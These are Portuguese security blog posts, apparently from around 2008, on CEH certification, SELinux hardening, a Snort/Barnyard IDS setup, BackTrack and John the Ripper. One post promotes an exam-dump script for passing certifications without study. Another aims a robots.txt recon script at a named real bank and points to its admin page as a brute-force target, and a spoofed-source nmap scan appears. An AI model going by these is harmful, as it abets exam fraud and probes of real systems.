Antes que venham as perguntas… Sim, sim esse script funciona com qualquer pdf do Actual Test transformado em texto e filtrado corretamente. (Ah créditos pro meu brother Eduardo (eth0) que me arrumou na época a última versão do Actual Test)

Ah! O objetivo principal desse script era certificar minha esposa que nunca sequer encostou em um computador em qualquer certificação de TI, para provar que certificações não comprovam nada mas ela não quis estudar e eu também não tenho dinheiro pra rasgar e pagar a prova da certificação. :(

Mas se alguém quiser certificar a vovózinha em CCNA ou MCSA ou qualquer outra certificação fique a vontade o script está disponível pra download[12] e é GPL. ;)

(créditos nesta parte para o Rafael por disponibilizar o NTC em seu servidor,  valeu Rafa!) O Rafa foi dormir e não hospedou no site dele o NTC por isso disponibilizo no Rapidshare mesmo.

Utilizei ele para me familiarizar com as questões, e comprovar se eu estava preparado e não rasgar as 250 doletas da prova.

A PROVA

O valor da prova é de USD 250 (doletas) e você tem 4 horas para terminar a prova que consiste em 150 questões todas em inglês e é preciso acertar pelo menos 70% para passar.

Tem um link específico[13] que pode tirar todas as dúvidas em relação a prova.

CONCLUSÃO

Mesmo achando que essa indústria que se tornou o mercado de certificações um nojo, vejo em certificações um desafio e um estímulo para meus estudos/pesquisas em segurança e também uma diversão.

Espero ter esclarecido as dúvidas da galera que tem bombado no e-mail perguntando sobre a certificação CEH e claro espero ter ajudado as vovózinhas a alcançarem suas certificações MCSA’s, LPICs, etc, e assim conseguirem um espaço no mercado tão disputado que é TI.

[]’s e boa sorte. ;)

REFERÊNCIAS

1 – http://www.giac.org/certifications/security/GPEN.php

2 – http://www.isecom.org/certification/opst.shtml

3 – http://www.offensive-security.com/index.php

4 – http://www.eccouncil.org/CEH%20Exam%20EC0-350%20Application%20Form.pdf

5 – http://www.vue.com

6 – http://www.eccouncil.org

7 – http://www.eccouncil.org/ceh-faq.htm

8 – http://www.eccouncil.org/ipdf/EthicalHacker.pdf

9 – http://www.remote-exploit.org/backtrack.html

10 – http://book.pdfchm.com/ceh-official-certified-ethical-hacker-review-guide-exam-312-50-7421/

11 – http://www.youtube.com/watch?v=Ktgsn_G59os

12 - http://rapidshare.com/files/144022110/ntc.tar.gz.html

13 – http://www.eccouncil.org/takeexam.htm

É com prazer que informo que estarei como palestrante no Festival de Software Livre em Brasília!

Desta vez falando mais um pouco sobre como endurecer de verdade um servidor Linux e aplicar controle de acesso mandatório (MAC) com Security Enhanced Linux (SE Linux).

A apresentação é uma evolução dos trabalhos, pesquisas e apresentações que faço com SE Linux, e cada vez mais buscando melhores formas de ensinar as pessoas a não seguirem as “receitas de bolo do inferno” que durante a própria instalação dizem para desativar o SE Linux e todo mundo obedece sem saber o porque! :)

E claro se conseguir mais um espaço, pretendo falar sobre teste de vulnerabilidades em aplicações web em especial SQL Injection (minha nova paixão).

Não posso deixar de comentar que estarei ao lado dos maiores “Rockstarts” do Software Livre:

Lucius Curado, Fernando Ike, Eduardo Neves(eth0), Guto Carvalho(El Mariño), Eriberto, Lincoln, Felipe “FAW” (meu sponsor no Debian uhuu), Hugo Corbucci (meu irmão quaker), o “magrelo” do João Cosme, Maddog “O Mark Shuttleworth de 2040″***, entre outros!

Abaixo nota oficial emitida pelos organizadores do evento:

“Abertas as inscrições para o evento Internacional de Software Livre na Capital Federal. Á partir de hoje, dia 26/08, estão abertas as inscrições da 3ª Edição do Festival software Livre – DF. Os candidados poderão inscrever-se e participar da realização do evento, nos dias 3 e 4 de outubro, reunindo profissionais e adeptos do Software Livre (SL) com interesse no aprendizado e disseminação da cultura SL. Este será realizado pela Associação de Tecnologias Abertas – ATA, UCB e SERPRO, e organizado pela Training Tecnologia.

Com a expectativa de mais de 2000 participantes, o evento ocorrerá na Universidade Católica de Brasília. Estarão presentes lideranças de Software Livre do Governo Federal, comunidades, professores, pesquisadores e estudantes de diversas áreas; empresários, profissionais e técnicos do setor. O evento contará com a apresentação de palestras, tutoriais, cases de sucesso, oficinas práticas, maratona de Java e brinquedoteca, jogos em software livre, etc. Aproveite esta oportunidade com os melhores e interaja* *com a comunidade de Software Livre em esfera nacional interessada em seu desenvolvimento e de código aberto, para o compartilhamento de experiências e conhecimento.

Estes são alguns dos palestrantes já confirmados: Jon Maddog (Boston - LPI), Leandro Monk (Argentina – GCOOP), Rodrigo Padula (FEDORA), Fernando Anselmo (POLITEC/DFJUG), Sandro Melo (4NIX), Fernando Boaglio, Jomar Silva (ODF Alliance Chapter Brasil), João Eriberto (FORTIUM), Felipe Wiel (DEBIAN), Razgriz, Paulo Maia (GPJO – Caixa), Marcelo D’Elia Branco (Projeto Software Livre Brasil), entre outros. A taxa única cobrada para participação nos dois dias do evento é de R$ 50,00(cinqüenta reais ). Confira a programação no site www.festivalsoftwarelivre.org ou acesse o link e faça a sua inscrição. Você não pode perder essa…“

É isso ae espero todos lá!!!

[]’s

Quem perdeu isso na Debconf, vale a pena conferir o video do bom velinho:

[1] http://www.youtube.com/watch?v=CYztkEcvsCc

AAAAh! Muuuuito tempo sem blogar! :-(

Preciso atualizar o blog com mais algumas palestras que ministrei neste tempo que estive sem blogar e também pedir desculpas as pessoas que me enviaram e-mail e acabei não respondendo. (principalmente sobre informações sobre a certificação CEH)

Me empolguei nos “mergulhos” em pesquisas para aperfeiçoar minhas habilidades ninja (eheheh) em desenvolvimento em C, ataques de SQL injection, virtualização e claro tentando acompanhar a lista de e-mail frenética do SE Linux e projetos relacionados.

No dia 24/07 estive no SERPRO como palestrante “surpresa” e falando sobre ataques de injeção SQL, hardening em banco de dados e boas práticas de desenvolvimento, foi um bate papo rápido de aproximadamente 30 minutos falando sobre o assunto com desenvolvedores e DBA’s. A infra-estrutura do SERPRO é excelente e achei muito interessante o sistema de video conferência que rolou entre as filiais de todo o Brasil. A palestra está disponível para download aqui.

No dia 16/08 participei como palestrante no 1o. Encontro Fortium de Software Livre e Dia D 2008 evento organizado pela Faculdade Fortium em conjunto com João Eriberto Mota Filho. Neste evento que estive com duas palestras aprovadas, falei primeiramente sobre como funcionam os ataques de SQL injection e o que fazer para diminuir a probabilidade de sofrer um ataque como este, e logo após, a palestra de Security Enhanced Linux com conceitos de DAC, MAC, LSM e claro SE Linux.

A palestra de Ataques de Injeção de SQL pode ser baixada aqui.

E a de Security Enhanced Linux aqui.

Agradeço a todos que compareceram e espero vê-los nas próximas! ;-)

Ah! Espero agora sobrar um tempo para voltar a ativa aqui e blogar mais frequentemente.

Abraços!

O bom e velho John The Ripper deu as caras novamente!

Para quem não conhece John é uma ferramenta criada com o intuito de auditar senhas, mas claro, como “quase” todas as ferramentas de segurança acaba funcionando como um martelo! (martelo?) Isso mesmo, explicando, a analogia no caso é pelo fato que com um martelo podemos tanto martelar um prego na parede (coisa útil para pendurar quadros, etc…) ou matar uma pessoa com uma martelada na cara! :-o

Em um pentest usamos para testar se as senhas utilizadas são senhas consideradas “fracas” tanto em windows como linux/unix, olhando por outro lado, em um ataque onde o invasor/cracker que de alguma forma consegue acesso aos arquivos que contém senhas (passwd,shadow/sam) ele normalmente o utiliza para descobrir as senhas fracas, elevar privilégios, ganhar acesso a compartihamentos em outras máquinas, etc… ;-)

Após um longo período sem atualização ontem (20/07/2008) foi lançada uma nova versão abaixo listo parte relevante do Changelog.

——————

The following changes have been made between John 1.7.3 and 1.7.3.1:

* Corrected the x86 assembly files for building on Mac OS X.

* Merged in some generic changes from JtR Pro.

The following changes have been made between John 1.7.2 and 1.7.3:

* Two Blowfish-based crypt(3) hashes may now be computed in parallel for much

better performance on modern multi-issue CPUs with a sufficient number of

registers (e.g., x86-64).

* Bitslice DES assembly code for x86-64 has been converted to use

instruction pointer relative addressing (needed for Mac OS X support).

* New make targets: macosx-universal, macosx-x86-64, solaris-x86-64-cc,

solaris-x86-64-gcc, solaris-x86-sse2-cc, solaris-x86-sse2-gcc,

solaris-x86-mmx-cc, solaris-x86-mmx-gcc, solaris-x86-any-cc, linux-ia64;

other changes to the Makefile.

* Minor bug fixes.

* “DumbForce” and “KnownForce” external mode samples have been added to the

default john.conf.

——————

Mais algumas informações e funcionalidades podem ser vistas no site do meu brother Anderson.[2] 

Enjoy! ;-)

Referências:

Site official: http://www.openwall.com/john/

2 - http://y2h4ck.wordpress.com/2008/04/18/john-the-ripper-more-ciphers/

É isso ae! Saiu a versão final, e dessa vez a novidade que além da imagem para CD e USB disponibilizaram uma imagem de VMware.

O download pode ser feito aqui.

Em posts anteriores comentei um pouco sobre o Bracktrack e sua versão de pré-lançamento feita através do canal IRC.

Enjoy…  :)

Em uma das primeias fases de um pentest precisamos coletar o máximo de informações sobre o alvo ao qual atacar para entender sobre o que estou dizendo e ganhar tempo colo abaixo um trecho direto do wikipedia…

"Data mining is the process of sorting through large amounts of data and picking out relevant information." [1]

Com este conceito em mente, venho escrever um simples passo para coletar passivamente dados de um determinado alvo e somar na fase de "Passively Information Gathering" de um pentest.

falando que o uso do robots.txt é pra ser usado para AUXILIAR as engines de busca a filtrar o conteudo que vai ser indexado pra aumentar a relevancia dos resultados, e não pra esconder as coisas que nao podem ser vistas….

Robots.txt (Robots Exclusion Standard), arquivo texto que fica na raiz de um website para auxiliar os "web spiders" a filtrar o conteúdo que vai ser indexado para os sites de busca (google, yahoo, etc..) e aumentar a relevância dos resultados. *

Como exemplo prático, seu site tem uma área restrita com informações sobre parceiros http://www.seusite.com.br/parceiros e você não quer que o conteúdo desta área seja indexado pelos sites de busca pois possui informações sensíveis sobre parceiros de sua empresa, você criaria um Robots.txt na raiz do seu site como abaixo:

User-Agent: *
Disallow: /parceiros

Certo, legal bem bacana, mas uma coisa importante que temos que lembrar, este arquivo nunca deve ser utilizado como medida de seguraça para esconder diretórios importantes pois este arquivo tem permissão de acesso ao mundo para ser lido! Abaixo um sript bem simples escrito em python que baixa e imprime na tela o conteúdo deste arquivo.

#vi robots.py

Conteúdo:
——————–
#!/usr/bin/python

import urllib, sys

try :
        robotsFile = urllib.urlopen("http://" + sys.argv[1] + "/robots.txt")
        print robotsFile.read()
except:
        print "Error fetching Robots.txt file !"
——————–

Então para olhar o conteúdo do arquivo Robots.txt (se ele existir) e descobrir quais diretórios o site não quer que seja indexado pelos robôs de busca, basta executar:

#./robots.py <www.site.com>

Exemplo:

./robots.py www.bancofibra.com.br

User-agent: *
Disallow: /admin/
Disallow: /engine/
Disallow: /db/
Disallow: /media/

Com as informações obtidas, temos uma lista de possíveis diretórios que podem ter informações sensíveis, é possível encontrar interfaces de administração, diretórios de parceiros, desenvolvimento, teste…  muita informação que não deveria ficar exposta em um arquivo que tem leitura por qualquer um.

No exemplo acima a interface de administração "Disallow: /admin/" está aparecendo e NÃO deveria estar aberta pois com esta informação sei que existe uma interface de administração e posso usar o acesso e preparar um ataque de força bruta para conseguir o acesso a esta interface.

NUNCA coloque neste arquivo diretórios que possam demonstrar informações sensíveis ou lugares onde não quer que acessem, um ótimo artigo sobre Robots.txt pode ser encontrado aqui e uma boa referência de como criar arquivos Robots.txt corretamente por ser visto aqui.

Uma outra forma utilizando o wget para simular um User-Agent pode ser encontrada aqui.

Amplexos e até o próximo! ;-)

Referências

[1] – http://en.wikipedia.org/wiki/Data_mining

* Modificado o conceito sobre robots.txt para ficar mais claro o entendimento. Todos os créditos ao Rafael(stiod) por melhorar o conceito de Robots! (valeu Rafa, meu amigo da cidade onde chove ácido! o.O)

Backtrack[1] é uma distribuição Linux live baseada em uma outra distribuição Linux live chamada Slax[2] que por sua vez é baseada em Slackware e criada utilizando LinuxLive[3], que são scripts para criar distribuições Linux live (putz!)

Bom como ela é criada não vem muito ao caso, o interessante desta distribuição live é seu foco em teste de intrusão (pentest) onde bastando inicilizar à partir de um CD ou Pen drive temos um ambiente completo com inúmeras ferramentas de segurança para realização de testes de intrusão (pentest), o que espanta bastante é seu kernel bem preparado para reconhecer diversos tipos de hardware e a facilidade para personalização através de módulos.

Uma lista de ferramentas disponíveis no Backtrack pode ser visto aqui.

Caso não exista alguma ferramenta que esteja acostumado a utilizar recomendo fortemente a leitura de como personalizá-la no Wiki[4], utilizando-a em um Pen drive a capacidade de modularização aumenta significativamente pois podemos personalizá-la sem ter que gravar outro CD.

A última versão (Backtrack 3 Beta) foi lançada em 14-12-2007 e desde então o trabalho em aperfeiçoar e arrumar os bugs foram iniciados. Hoje 10-06-2008 foi lançado no IRC a versão BT3 Pre-Final, que logo será substituída pela Final para quem se interessar em testar e reportar alguns bugs, segue o link para download:

http://cracker.offensive-security.com/bt3-irc-prerelease.iso

Abraços!

Referências:

[1] – http://www.remote-exploit.org/backtrack.html
[2] – http://www.slax.org
[3] – http://www.linux-live.org
[4] – http://wiki.remote-exploit.org

Fazendo um gancho com o post anterior…

Aproveitando para aprender a criar videos, tarefa que diga-se de passagem foi bem chata para acertar o formato, tamanho, codec, música, programa…

Disponibilizo meu primeiro video “SELinux em poucos minutos“, como demonstro no video é possível deixar instalado e pronto para uso facilmente.

Agora que acertei como gravar videos espero ter tempo para criar diversos videos, tanto sobre SELinux como hacking em geral.

Sintam-se a vontade para criticar! :)

Amplexos! (by Guidolin)

Em meus estudos sobre SELinux não encontrei material em português mostrando de forma prática como se instala o SELinux no Debian, abaixo demonstro da maneira mais simples possível como fazer.

Apesar deste tutorial falar de como instalar no Debian Etch é possível aplicá-lo também no Lenny.

Na próxima versão estável do Debian muitas novas funcionalidades estão sendo aplicadas aos programas que trabalham no "user-space", pois não basta ter o SELinux compilado dentro do kernel e ativá-lo é preciso que as ferramentas que o manipulam estejam preparadas para interargir.

Considerando que você já está com uma instalação padrão do Debian Etch, instale os seguintes pacotes:

# aptitude install selinux-basics selinux-policy-refpolicy-targeted

O Debian vai resoler as dependências e encarregar-se de instalar mais alguns pacotes que auxiliam na administração do SELinux.

Para ajustar e finalizar as configurações e deixar o SELinux funcionando é interessante utilizar o aplicativo "check-selinux-installation" é um programa desenvolvido em python que auxilía a instalação criando uma "check-list" com dicas de como proceder para finalizar a configuração do SELinux.

# check-selinux-installation
getfilecon: getfilecon(/proc/1) failed
SELinux is not enabled.
Could not read the domain of PID 1.
Old style ttys were found.
/etc/pam.d/ssh is not SELinux enabled
/etc/pam.d/login is not SELinux enabled
Dynamic motd updating is enabled
A dynamic MOTD is present in /var/run/motd.
FSCKFIX is not enabled – not serious, but could prevent system from booting…

Abaixo o que é necessário para "zerar" esta lista. Vou começar removendo terminais antigos "Old style ttys were found."

# rm -f /dev/[tp]ty[abcdepqrstuvwxyz][0-9a-f]

Para ativar as configurações do pam "/etc/pam.d/ssh" e "/etc/pam.d/login" basta editar os arquivos e descomentar.

No arquivo /etc/pam.d/login procure pela entrada abaixo e descomente.

session required pam_selinux.so multiple

No arquivo /etc/pam.d/ssh procure pela entrada abaixo, descomente e remova a opção multiple:

session required pam_selinux.so

O "Message of the Day" (motd)  é atualizado dinâmicamente para isto precisamos definir um motd estático.

# rm -f /etc/motd /var/run/motd

Crie um novo com uma mesnagem qualquer:

# echo -ne "Bem vindo.\n" >> /etc/motd

Modifique o arquivo /etc/init.d/bootmisc.sh, procure pelas entradas abaixo e comente-as.

# Update motd
# uname -snrvm > /var/run/motd
# [ -f /etc/motd.tail ] && cat /etc/motd.tail >> /var/run/motd

Para solucionar este item "FSCKFIX is not enabled" no arquivo /etc/default/rcS existe a seguinte entrada "FSCKFIX=no" modifique para yes, isto modifica o tipo de ação que o Debian toma quando executa um fsck durante o boot tirando a opção (-a) menos segura quando tentar reparar um disco em relação a (-y).

FSCKFIX=yes

Apesar de que a variável abaixo não está sendo mais utilizada neste arquivo (/etc/default/rcS), se não à inserirmos como abaixo, devido a um bug nos scripts de checagem do "check-selinux-installation" ele retornará "Dynamic motd updating is enabled", para resolver adicione a entrada abaixo só para termos um "check-list" sem nenhuma reclamação.

EDITMOTD=no

Salve o arquivo.

SELinux vem compilado dentro do kernel do Debian por padrão, mas não é ativado, para isto é preciso passar para o kenrel na inicialização o parâmetro selinux=1. Edite o arquivo de configuração do seu gerenciador de boot (grub/lilo) e adicione o parâmetro, abaixo demostro como ficaria no grub.

title Debian GNU/Linux, kernel 2.6.18-6-686
root (hd0,0)
kernel /boot/vmlinuz-2.6.18-6-686 root=/dev/sda1 ro selinux=1
initrd /boot/initrd.img-2.6.18-6-686
savedefault

Para que o SELinux aplique seu conceito MAC(Mandatory Access Control) é preciso aplicar o contexto para todos os arquivos do sistema. Para isto tanto com o comando "fixfiles relabel" como adicionando um arquivo vazio na raiz com o nome de ".autorelabel" e executando um reboot.

# touch /.autorelabel

# fixfiles relabel

Files in the /tmp directory may be labeled incorrectly, this command
can remove all files in /tmp. If you choose to remove files from /tmp,
a reboot will be required after completion.

Do you wish to clean out the /tmp directory [N]? N
/sbin/setfiles: labeling files under /
matchpathcon_filespec_eval: hash table stats: 23509 elements, 17216/65536 buckets used, longest chain length 3
/sbin/setfiles: Done.

Repare que o comando fixfiles pergunta se quer remover todos os arquivos do diretório tmp, responda NÃO pois a remoção dos arquivos do /tmp podem causar inconsistências a programas que já estão em execução. Utilize a opção de criação do arquivos pois de qualquer forma é preciso reinciar o sistema para que o SELinux fique ativado.

Um detalhe importante é que alguns programas após a ativação do SELinux se estiver utilizando a política targeted podem gerar diversos avisos no seu /var/log/messages, os passos abaixos são necessários para evitar essas mensagens….

Edite o arquivo de configuração do udev "/etc/udev/udev.conf" e acrescente ao final:

no_static_dev="1"

Isso evita que o udev crie o diretório "/dev/.static". Para atualizar as "initial ramdisk images":

# update-initramfs -k all -u

O pacote findutils que traz o comando locate executa um script que varre todo o sistema operacional para indexá-lo, desatvie o script que faz esta varredura pois traz diversas mensagens no /var/log/messages quando é executado. Ainda não existe uma política para que sua execução ocorra de forma efetiva e sem mensagens.

Para desativar edite o arquivo "/etc/cron.daily/find" e na segunda linha acrescente um "exit 0".

Outro que pode nos trazer problemas e muitas mensagens é o arquivo responsável por fazer periódicamente um backup de alguns arquivos chave do sistema operacional (/etc/shadow, /etc/gshadow, /etc/passwd), edite o arquivo "/etc/cron.daily/standard" e procure pela entrada "Backup key system files" e comente todo o bloco:

#
# Backup key system files
#
#
#if cd $bak ; then
# cmp -s passwd.bak /etc/passwd || (cp -p /etc/passwd passwd.bak &&
# chmod 600 passwd.bak)
# cmp -s group.bak /etc/group || (cp -p /etc/group group.bak &&
# chmod 600 group.bak)
# if [ -f /etc/shadow ] ; then
# cmp -s shadow.bak /etc/shadow || (cp -p /etc/shadow shadow.bak &&
# chmod 600 shadow.bak)
# fi
# if [ -f /etc/gshadow ] ; then
# cmp -s gshadow.bak /etc/gshadow || (cp -p /etc/gshadow gshadow.bak &&
# chmod 600 gshadow.bak)
# fi
#fi

Agora reinicie a máquina e após execute para verificar  sua instlação:

# check-selinux-installation

Provavelmente não retornará nada pode checar com um "echo $?", e também:

# sestatus
SELinux status: enabled
SELinuxfs mount: /selinux
Current mode: permissive
Mode from config file: permissive
Policy version: 20
Policy from config file: refpolicy-targeted

Como pode ver na saida dos comandos o SELinux está instalado corretamente e no modo permissive que é um modo onde o SELinux não nega as requisições aos arquivos/dispositivos/processos com base nos contextos somente gera um log no arquivo /var/log/messages.

Nos próximos posts sobre SELinux pretendo mostrar de forma prática como utilizá-lo para blindarmos nosso sistema operacional e aumentar considrávelmente a segurança.

Obrigado e até o próximo! ;-)

Referências

http://wiki.debian.org/SELinux
http://etbe.blogspot.com/2006/12/se-linux-on-debian-in-5-minutes.html
http://www.coker.com.au/selinux/tweaks.html

Eeeeeeeeeeeeeeee \o/ !!!

Consegui! Fiz hoje a prova (cansativa) 150 questões! Precisava de 70% para ser aprovado e … bom uma imagem vale mais do que mil palavras! ;-)

Logo mais postarei com base em quais materiais estudei, como funciona a prova, o que é exatamente esta certificação, o que fazer para quem se interessar em tirar esta certificação!

Para quem estiver com pressa e quiser saber um pouco mais antes do meu post, clique aqui e veja mais informações com descrição sobre CEH, tópicos cobrados …

Até mais! :-)

Galera segue abaixo chamada de voluntários para o projeto ASDR (Application Security Desk Reference) da OWASP, feita por Leonardo Cavallari.

Na íntegra:

“Olá a todos!

Estamos remodelando o projeto Honeycomb em um guia de referência mais amplo, chamado the Application Security Desk Reference – ASDR.

Leo Cavallari”

Acredito ser uma ótima oportunidade para aprender evoluir e contribuir! E que também não deixa de ser uma ótima referência para o curríclo de quem participa!

Conforme informado no e-mail existe um Workplan[1] montado onde o Leonardo já iniciou a distribuição dos tópicos[2], desta forma fica aqui meu convite a todos os interessados em segurança.

Abraços!

1 – http://www.owasp.org/index.php/OWASP_ASDR_Workplan
2 – https://www.owasp.org/index.php/ASDR_TOC_Attacks

É isso ae minha palestra “Desmitificando SELINUX” foi aprovada no 1o. Simpósio Goiâno de Software Livre / 5o. Fórum Goiâno de Software Livre, o evento irá ocorrer nos dias 30 e 31 de maio de 2008.

Breve resumo da palestra

Security Enhanced Linux (SELinux) tem reputação de ser complexo e díficil de implementar, recentemente os desenvolvedores tem trabalhado em sua evolução e facilitação de uso. Isto tem representando num crescimento rápido, fortalecendo diversos tipos de servidores Linux. Esta palestra abordará as suas funcionalidades e desmitificação dos mitos de dificultade de implantação.

Maiores informações, local do evento, etc…

http://www.sgsl.ueg.br

Espero vocês lá!

Enjoy…

Objetivo
Instalação do Snort com gravação de log unificado (unified log), instlação do PostgreSQL 8.1 à partir dos pacotes pré-compilados para distribuição Debian Etch e também a compilação e configuração do aplicativo Barnyard, utilitário responsável pela leitura dos logs unificados e envio das informações para o banco de dados PostgreSQL.

Configurações utilizadas:

* Hostname: nids
* Interface de rede: eth0
* Endereço IP: 192.168.0.133
* Endereço de rede: 192.168.0.0/24

Ao final dos procedimentos a seguir, estarão instalados:

* PostgreSQL 8.1
* Snort Version 2.3.3 (Build 14)
* Barnyard Version 0.2.0 (Build 32)

Instalação PostgreSQL

Para instalar utilize:
# aptitude install postgresql-8.1

Crie a base de dados e o usuário que irá utilizá-la:
# su – postgres

Crie a base de dados:
$ createdb snort

Crie o usuário que será utilizado pelo Snort, usuário "snort":
$ createuser -P snort
Digite a senha para a nova role: snort123[ENTER]
Digite-a novamente: snort123[ENTER]
A nova role poderá criar um super-usuário? (s/n) n
A nova role poderá criar bancos de dados? (s/n) n
A nova role poderá criar novas roles? (s/n) n
CREATE ROLE

* Neste tutorial estou utilizando uma senha fraca, para instalações em produção recomendo utilizar senhas robustas, onde na sua criação utilize letras maiúsculas e minúsculas, números, símbolos com pelo menos dez caracteres.

Crie regra para acesso local à base de dados snort para o usuário snort.

* Também não recomendo o uso de nomes com fácil dedução, tanto para o banco de dados como para o usuário que o utiliza, em produção modifique isto também.

Como usuário root, edite o arquivo /etc/postgresql/8.1/main/pg_hba.conf, e abaixo da entrada:

(…)
# Database administrative login by UNIX sockets
local all postgres ident sameuser
(…)

Acrescente:
local snort snort md5

Salve o arquivo e saia.
Explicando:
local – Origem da conexão feita ao banco de dados;
snort – Nome da base de dados;
snort – Nome do usuário que tem permissão de acesso;
md5 – Método utilizado para autenticação.

Reinicie o serviço PostgreSQL:
# invoke-rc.d postgresql-8.1 stop
# invoke-rc.d postgresql-8.1 start

Verifique se o PostgreSQL está ouvindo na porta 5432 e aguardando por conexões locais:
# lsof -i -n -P | grep 5432

Logo, será configurado a estrutura para base de dados do Snort…

Instalação Snort

Para instalar o Snort com o suporte a PostgreSQL no Debian, utilize:
# aptitude install snort-pgsql

Serão feitas perguntas, na primeira irá questionar qual é sua rede, para este documento adotamos a seguinte rede:
192.168.0.0/24

Na segunda pergunta, responda NÃO, afinal não queremos que o Snort guarde seus log em um banco de dados e sim em um arquivo de log unificado para utilização com Barnyard, que demonstro logo a seguir.

Por precaução, faça uma cópia de segurança do arquivo de configuração:
# cp -av /etc/snort/snort.conf /etc/snort/snort.conf.original
# cp -av /etc/snort/snort.debian.conf /etc/snort/snort.debian.conf.original

Na distribuição Debian Etch, dentro de /etc/snort existe um arquivo chamado snort.debian.conf onde algumas configurações específicas são definidas, edite o arquivo e faça as seguintes modificações:

DEBIAN_SNORT_STARTUP="boot"
DEBIAN_SNORT_HOME_NET="192.168.0.0/24"
DEBIAN_SNORT_INTERFACE="eth0"

Explicando:
DEBIAN_SNORT_STARTUP – Diz ao Snort que deve iniciar na inicialização do sistema operacional;
DEBIAN_SNORT_HOME_NET – Define sua rede local;
DEBIAN_SNORT_INTERFACE – A interface que o snort ficará ouvindo.

Edite o arquivo snort.conf procure pela entrada var HOME_NET any e configure:

var HOME_NET 192.168.0.0/24

Definindo a forma de log que o Snort gravará os logs, para utilização em conjunto com o Barnyard é preciso que utilize o método de log unificado (unified log). Procure pelas linhas abaixo e descomente-as:

output alert_unified: filename snort.alert, limit 128
output log_unified: filename snort.log, limit 128

Salve o arquivo, saia.
Explicando:
filename – Nome do arquivo onde ficarão gravados os logs;
limit – Tamanho máximo até seu rotacionamento. (128mb)

O log unificado (unified log) faz com que o Snort grave suas mensagens em formato octal em um arquivo binário, com isto, ganha-se muito desempenho pois o Snort não precisa parar seu processamento de pacotes para executar os INSERTS no banco de dados.

* De acordo com algumas notas postadas em diversos blogs pela internet, não teremos esta perda de performance no Snort 3.0 pois utilizará um sistema de processamento diferente do atual, novas features e outras informações sobre o snort 3.0 ficam para um próximo post. ;)

Para verifcar onde o Snort grava seus arquivos de log, entre outras definições (Debian):
# cat /etc/default/snort

Para iniciar o Snort, remova antes o arquivo:
# rm /etc/snort/db-pending-config

Inicie o serviço do Snort:
# invoke-rc.d snort start

Verifique o status do serviço:
# invoke-rc.d snort status

O resultado deve ser este:
Status of snort daemon(s): eth0 (ok).

Criando estrutura para base de dados do Snort

Torne-se usuário postgres novamente:
# su – postgres

Com o script sql fornecido pelo pacote snort-pgsql, crie as tabelas necessárias:
$ zcat /usr/share/doc/snort-pgsql/create_postgresql.gz | psql -U postgres snort

Dê permissão somente para consultar, atualizar e inserir nas seguintes tabelas ao usuário snort:
$ psql -U postgres snort -c "GRANT INSERT, SELECT, UPDATE ON TABLE data,detail,encoding,event,icmphdr,iphdr,opt,reference,reference_system,schema,sensor,sig_class,signature,sig_reference,tcphdr,udphdr TO snort;"

E também para atualizar as tabelas sequenciais:
$ psql -U postgres snort -c "GRANT UPDATE ON reference_ref_id_seq,reference_system_ref_system_id_seq,sensor_sid_seq,sig_class_sig_class_id_seq,signature_sig_id_seq TO snort;"

Volte a ser usuário root:
$ exit

Instalação Barnyard

Barnyard foi desenvolvido com o objetivo de ler os arquivos de log unificados e enviar seu conteúdo ao banco, desta forma diminuindo o serviço "braçal" de inserir os logs no banco assim aumenando a performance do Snort como já foi mencionado.

Acesse o diretório:
# cd /usr/src/

E baixe o Barnyard:
# wget http://www.snort.org/dl/barnyard/barnyard-0.2.0.tar.gz

Descompacte e acesse o diretório:
# tar xvzf barnyard-0.2.0.tar.gz
# cd barnyard-0.2.0

Para instalar o Barnyard com suporte a PostgreSQL no Debian Etch, supra as dependências instalando os pacotes:
# aptitude install build-essential postgresql-server-dev-8.1

Para ativar o suporte a PostgreSQL utilize o parâmetro –enable-postgres ao configurar:
# ./configure –enable-postgres

Compile e instale:
# make && make install

Será instalado dentro de /usr/local/bin o executável barnyard e um arquivo de exemplo para configuração é criado no diretório /usr/src/barnyard-0.2.0/etc, mas não será utilizado.

Para organizar, crie e acesse o diretório:
# mkdir /etc/snort/barnyard
# cd /etc/snort/barnyard

Crie os arquivos de configuração para o Barnyard:
# vi barnyard.conf
config localtime
config hostname: nids
config interface: eth0
config sid-msg-map: /etc/snort/sid-msg.map
config gen-msg-map: /etc/snort/gen-msg.map
config class-file: /etc/snort/classifications.config
output alert_acid_db: postgres, database snort, server localhost, user snort, password snort123, detail full

Salve, saia e defina as permissões para o arquivo de configuração:
chown root:snort /etc/snort/barnyard/barnyard.conf
chmod 640 /etc/snort/barnyard/barnyard.conf

Crie o diretório e defina as permissões onde serão guardados os logs processados pelo Barnyard:
# mkdir /var/log/snort/processados
# chmod 2750 /var/log/snort/processados

Primeiramente faça o teste executando em dois terminais distintos o Barnyard sem a opção (-D) que o transforma em serviço.
Em um terminal, execute-o apontando para o arquivo de log unificado snort.log:
# /usr/local/bin/barnyard -c /etc/snort/barnyard/barnyard.conf -d /var/log/snort -a /var/log/snort/processados -f snort.log -w /etc/snort/barnyard/snort.log.bookmark

Em outro terminal execute apontando para o arquivo de log unificado snort.alert:
# /usr/local/bin/barnyard -c /etc/snort/barnyard/barnyard.conf -d /var/log/snort -a /var/log/snort/processados -f snort.alert -w /etc/snort/barnyard/snort.log.bookmark

Os terminais ficarão presos com uma mensagem similar a esta:
Barnyard Version 0.2.0 (Build 32)
Opened spool file ‘/var/log/snort/snort.log.1206731745′
Waiting for new data

Pare os dois Barnyards agora (Ctrl+C) e inicie-os como serviço.

Um apontando para o snort.log:
# /usr/local/bin/barnyard -c /etc/snort/barnyard/barnyard.conf -d /var/log/snort -a /var/log/snort/processados -f snort.log -w /etc/snort/barnyard/snort.log.bookmark -D

E outro apontando para snort.alert:
# /usr/local/bin/barnyard -c /etc/snort/barnyard/barnyard.conf -d /var/log/snort -a /var/log/snort/processados -f snort.alert -w /etc/snort/barnyard/snort.alert.bookmark -D

Explicando:
-c – Define o arquivo de configuração;
-d – Diretório onde será feito a busca pelos arquivos de log;
-a – Diretório onde serão guardados os aquivos que já foram processados;
-f – Arquivo de log unificado que o Barnyard processará;
-w – Arquivo utilizado para bookmark;
-D – Transforma-o em serviço.

Bookmark é utilizado para que o Barnyard lembre-se de onde parou caso ocorra algum problema, desta forma não sendo necessário processar novamente todo o arquivo de log.
O ambiente Snort, PostgreSQL e Barnyard está funcionando, abaixo demonstro uma forma de testar.

Colocando à prova

Para testar, de uma outra máquina faça uma varredura onde o Snort possa registrar algo, rode um Nmap:
# nmap -e <interface> -S <IP spoofado> -sX <IP do alvo>

Neste ambiente com estas configurações foi executado:
# nmap -e eth0 -S 10.10.10.10 -sX 192.168.0.133

Depois acesse a base de dados snort com usuário snort:
# psql -U snort snort
